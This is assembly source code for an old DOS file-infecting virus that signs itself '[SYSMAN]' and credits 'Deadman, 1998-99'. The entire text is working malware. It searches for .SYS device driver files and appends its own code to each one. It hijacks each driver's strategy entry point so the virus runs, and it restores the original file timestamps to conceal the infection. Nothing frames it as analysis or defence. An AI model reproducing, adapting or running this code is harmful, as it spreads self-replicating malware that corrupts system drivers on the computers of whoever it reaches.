model   tiny
 codeseg
 locals
 jumps

 start:         db      0b8h
 strategy       dw      000h
                mov     cs:[6],ax

                push    ax bx cx dx si di es ds

                call    get_loc
 get_loc:       nop
                pop     di
                sub     di,offset get_loc

                mov     ah,2fh
                int     21h
                push    es bx
                push    cs cs
                pop     ds es

                mov     ah,1ah
                lea     dx,dta+di
                int     21h

                mov     ah,4eh
                mov     cx,20h
                lea     dx,sys_mask+di
 keep_find:     int     21h
                jc      no_more

                mov     ax,3d02h
                lea     dx,dta+di+1eh
                int     21h
                jc      next

                xchg    ax,bx
                mov     ax,5700h
                int     21h
                push    cx dx

                mov     ah,3fh
                mov     cx,10
                lea     dx,buffer+di
                int     21h
                xor     cx,ax
                jnz     close

                cmp     word ptr buffer+di,0ffffh
                jnz     close
                cmp     word ptr dta+di+1ah+2,0
                jnz     close
                mov     ax,word ptr dta+di+1ah
                cmp     ax,62000
                ja      close
                mov     dx,ax
                sub     ax,vsize
                cmp     ax,word ptr buffer+di+6
                jz      close
                xchg    word ptr buffer+di+6,dx
                mov     word ptr strategy+di,dx

                mov     ax,4202h
                xor     cx,cx
                cwd
                int     21h
                mov     ah,40h
                mov     cx,vsize
                mov     dx,di
                int     21h
                xor     cx,ax
                jnz     close

                mov     ax,4200h
                cwd
                int     21h
                mov     ah,40h
                mov     cx,10
                lea     dx,buffer+di
                int     21h
 close:         pop     dx cx
                mov     ax,5701h
                int     21h
                mov     ah,3eh
                int     21h
 next:          mov     ah,4fh
                jmp     keep_find

 no_more:       pop     dx ds
                mov     ah,1ah
                int     21h
                pop     ds es di si dx cx bx
                sub     ax,ax
                retn

 sys_mask       db      '*.SYS',0
                db      '[SYSMAN]',0
                db      'Copyright (C) 1998-99 Deadman',0

 vsize          equ     $-start

 buffer         db      10 dup (?)
 dta            db      43 dup (?)

                end     start